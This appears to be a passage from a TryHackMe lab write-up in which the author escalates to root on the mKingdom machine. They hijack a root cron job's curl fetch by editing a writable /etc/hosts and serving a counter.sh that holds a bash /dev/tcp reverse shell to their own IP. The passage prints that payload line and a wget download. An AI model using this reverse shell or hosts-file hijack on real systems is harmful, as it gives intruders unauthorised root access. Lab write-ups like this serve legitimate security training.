<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FIlHu2BQkz5wtFUWPQ7L6%2F2024-06-21_20-47_1.png?alt=media&amp;token=1449e235-8dc3-448d-bb1c-19afd8483e5e" alt=""><figcaption></figcaption></figure>

The **`id`** command can be run with **`sudo`** rights:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fdllg4PwJ9yId7QlM6Vfq%2F2024-06-21_20-49.png?alt=media&amp;token=81c5096c-ab0b-40e2-98a8-1d613125dd93" alt=""><figcaption></figcaption></figure></div>

But this obviously seems to be something kept to derail us, a **`rabbit hole`**. There are **`no`** methods available to make use of **`id`** to **`privilege escalate`**.&#x20;

We also have **`pwfeedback`** option enabled in the **`sudoers`** entry. **`pwfeedback`** is a display feature to show an **`asterisk`** when an user writes a character of its **`password`**.&#x20;

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FKGoIXZ2vvRBoLhn60hGX%2F2024-06-21_20-49_1.png?alt=media&amp;token=a68f0a97-e2c4-4217-8199-ba25e5f42cf8" alt=""><figcaption></figcaption></figure>

To confirm if it is **`enabled`** we can see if **`asterisks`** are coming up when we enter **`mario's`** **`password`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fy4dDhr0u4YJS2aSIEMFN%2F2024-06-21_20-47.png?alt=media&amp;token=fa9c67d3-16be-45d0-85b4-9ab50bdb4322" alt=""><figcaption></figcaption></figure></div>

We indeed see it. This leads us to, **`CVE-2019-18634`**.

**`CVE-2019-18634`**:

It is a **`sudo`** **`LPE vulnerability`** that needs **`pwfeedback`** to be **`enabled`** for it to work. It is a **`BOF`** exploit.

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F5rNrgfDtG639lyu9jNTd%2Fimage.png?alt=media&amp;token=e9bf6337-dcf3-47be-8aa7-5906942207bb" alt=""><figcaption></figcaption></figure>

But the **`sudo`** version must be lesser than **`1.8.26`** for it to work.

Checking out the **`sudo`** version:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FXSRZ6nltdqZNv3YCbzJl%2F2024-06-21_20-50.png?alt=media&amp;token=9b285867-3098-41d5-8dcb-4b58003f0586" alt=""><figcaption></figcaption></figure></div>

The version running on the machine is **`1.8.9p5`**. So the exploit **`won't`** work.

Now let us see if we have any **`cron jobs`** running. For this **`pspy`** can be used:

{% embed url="<https://github.com/DominicBreuker/pspy>" %}

The machine is **`64-bit`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F4Or3XnpwTD3OSBDsBGQM%2Fimage.png?alt=media&amp;token=4380cfe3-d98d-46df-81fb-e7e9dc5ceb82" alt=""><figcaption></figcaption></figure>

So we have to use **`64-bit`** compatible **`pspy`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F92JKDNjTgRzsaQCfhZtQ%2Fimage.png?alt=media&amp;token=73466c49-b1f2-4a58-bd65-6e5b01771f3f" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FAsdAS8nqfhBFUgKVaV7M%2Fimage.png?alt=media&amp;token=1a3d12ad-c5c5-4dc8-b90f-d15b73f8326a" alt=""><figcaption></figcaption></figure></div>

Sending it to the **`target machine`** post setting up a **`python server`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FdB5BwwbDyd8kPLWAp7JC%2F2024-06-21_20-59.png?alt=media&amp;token=1bc559e9-7592-4c7f-87b2-e43e75a8ffc5" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FpWRpzguxEDAFmVvzjtDC%2F2024-06-21_20-59_1.png?alt=media&amp;token=c2c36be3-988d-404a-b7a3-7d07a61ddcec" alt=""><figcaption></figcaption></figure></div>

**`Command`**:

```bash
wget http://10.11.75.84:4545/pspy64  //The IP here is the tun0 interface IP
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FEd5c5E3JWDXi3EeFX09M%2F2024-06-21_21-01.png?alt=media&amp;token=cc9e9f8d-2d7a-4d2c-bd88-17426f73b36c" alt=""><figcaption></figcaption></figure>

**`Running it`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F2zXvXPxeqweg6RXxc1yP%2F2024-06-21_21-02.png?alt=media&amp;token=7d79ce33-ec13-4eb3-86ab-ece1277f7392" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F5TI6D4jrrf50C4QiBUXL%2F2024-06-21_21-03.png?alt=media&amp;token=9330a600-b3fa-48ba-a1e2-e21c736da750" alt=""><figcaption></figcaption></figure>

This **`cron job`** running as **`root`** (**`UID=0`**) stands out to us:

```bash
curl mkingdom.thm:85/app/castle/application/counter.sh
```

A **`curl`** request is being sent to **`mkingdom.thm`** on port **`85`** to **`access`** and **`execute`** a **`counter.sh`** script located at **`/app/castle/application/`**.

**`Checking out the scripts permissions`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FMoSrmK8Lhpo09ZoaFHyB%2F2024-06-21_21-30.png?alt=media&amp;token=673fde2b-d59a-43d7-9a39-4e4bbf3f5e3a" alt=""><figcaption></figcaption></figure></div>

Only **`root`** has **`write access`** to it, we as the user **`mario`** has only **`read permissions`**. So **`editing`** this file to place a **`reverse shell`** is now out of the picture.

But the **`curl`** request is being sent to the host **`mkingdom.thm`**. So let us check out the **`/etc/hosts`** file as this is used to map **`hostnames`** to **`IP addresses`**.

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F9yhgnQSi4wVVVsJKKUid%2F2024-06-21_21-26.png?alt=media&amp;token=4f46a7de-eb49-49ad-8309-0a4e3235e916" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FnOMwH9yuuemNK2rXK2nu%2Fimage.png?alt=media&amp;token=e6132007-1c23-49ea-90e6-5a2c3731d8aa" alt=""><figcaption></figcaption></figure></div>

Here we are able to **`cat`** the **`hosts`** file out as the **`file`** has **`read permissions`** for **`others`** and mainly because the **`/etc`** directory has **`execute permissions`** for **`others`**. So it **`doesn't`** matter even if the **`SUID bit`** is set on **`cat`** with **`toad`** being the **`owner`** as when we run: **`cat /etc/hosts`** it will still run as **`toad`** and **`toad`** falls into **`others`** and due to the **`execute permission`** on **`/etc`**, **`toad`** **`will be able`** to **`traverse`** this directory.&#x20;

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FVScPVUTykcDpY1DY9CFc%2Fimage.png?alt=media&amp;token=9280eb0e-3c54-42a0-8ed2-4c07b25703d5" alt=""><figcaption></figcaption></figure></div>

The **`hosts`** file's **`group`** is **`mario`** and we as **`mario`** have **`write permissions`** on the file.

**`Thought process`**:

Based on the **`cron job`** command, what we could do is **`edit`** the **`hosts file entry`** to point **`mkingdom.thm`** to our **`IP`** (**`tun0`**) and we could place a **`counter.sh`** file containing the **`reverse shell`** within **`app/castle/application/`**, post **`creating`** this exact **`directory structure`** on our **`attacker machine`**. We would also have to set up a **`python server`** on port **`85`**. When the **`cron job`** runs, the **`curl`** request hits our **`IP`** and the **`/app/castle/application/counter.sh`** will be **`served`** via port **`85`** and we would get a **`root shell`** on the listener that we set up.

**`Editing the file`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FPL6R3qe7r3R8zXgZMirF%2F2024-06-21_21-28.png?alt=media&amp;token=a95ab1da-6bb8-428d-9493-b87ea33a4abe" alt=""><figcaption></figcaption></figure></div>

**`Creating the directory`**:

**`Command`**:

```bash
mkdir -p app/castle/application/
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FLmGaoYopYlRkIcffPb5S%2F2024-06-21_21-33.png?alt=media&amp;token=9cf7daa5-e7bc-4e86-8265-63f888b3934a" alt=""><figcaption></figcaption></figure></div>

The **`counter.sh`** file **`contents`**:

```bash
bash -c "bash -i >& /dev/tcp/10.11.75.84/445 0>&1"
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2ForsksKJ7BaZYuaIY8jJ8%2F2024-06-21_21-37.png?alt=media&amp;token=6fa63ec4-e1db-41a7-bd85-b1e648d840c9" alt=""><figcaption></figcaption></figure>

Setting up the **`python server`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FalRq1pIgT5IdqRWcEYxc%2Fimage.png?alt=media&amp;token=471b4c69-d417-44bc-be20-c8ed08fc89fe" alt=""><figcaption></figcaption></figure></div>

Setting up a listener on port **`445`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FQZ0ohdirnUkWBZi5WmFZ%2Fimage.png?alt=media&amp;token=286e2728-909e-40ef-bd84-4a05884e7838" alt=""><figcaption></figcaption></figure></div>

Now we just wait for the **`cron job`** to **`run`**.

After a few seconds we can see that the **`counter.sh`** file got **`served`** from **`our machine`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FCjW0KKTvqhSgfmJCI6OO%2F2024-06-21_21-39.png?alt=media&amp;token=147f2006-c344-4085-90d4-028c8827ffdc" alt=""><figcaption></figcaption></figure>

Now let us **`check`** out the listener:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FlfephdqdirxzZyZx8qMb%2F2024-06-21_21-40.png?alt=media&amp;token=f10ac98b-c459-44ad-afd8-7c30e26f6fa4" alt=""><figcaption></figcaption></figure>

We indeed have got a **`connection`** as **`root`**.

The **`root flag`** can be **`cat`** ed out as we had **`removed`** the **`SUID bit`** from it when we were **`toad`** itself:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FoYHwvBBRSq4NPaIAvYud%2F2024-06-21_21-43.png?alt=media&amp;token=9d155224-5382-4030-9341-10363751d72f" alt=""><figcaption></figcaption></figure></div>

Now if the **`bit`** was still set, we would get this:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F7NYKJm84k4WoJYJ4MUmP%2F2024-06-21_21-42.png?alt=media&amp;token=454ceff3-4fbb-415b-ae53-7f612aff2d3e" alt=""><figcaption></figcaption></figure></div>

So we can use the methods that we did before to **`read`** the **`flag`** (**`more, less, head, tail`**).&#x20;

Default **`/root`** directory **`permissions`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FIOkUJHSxr6bagLEdnQ7a%2F2024-06-21_21-45.png?alt=media&amp;token=74b4ea90-a307-4f80-821f-2f61ab69aa79" alt=""><figcaption></figcaption></figure></div>

Only **`read`**, **`write`** & **`execute`** for the **`owner`**, that is **`root`**.

We can also change the **`/root`** directories **`permissions`**, so that **`cat`** with the **`bit`** set which is running as **`toad`** can **`traverse`** (**`execute permission`**) the **`/root`** directory when **`cat /root/root.txt`** is run and **`will be`** able to **`read`** the **`flag`** as it has **`read permissions`** (**`r--`**) for **`others`**, under which **`toad`** falls:

**`Command`**:

```bash
chmod 755 /root
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F2uPBuf2yM4B0UJWykiNC%2F2024-06-21_22-01.png?alt=media&amp;token=35041379-7c18-48cf-a4d9-7a255db7d8f7" alt=""><figcaption></figcaption></figure></div>

Room solved!!

{% embed url="<https://tryhackme.com/p/gravereaper2038>" %}
Profile Link
{% endembed %}
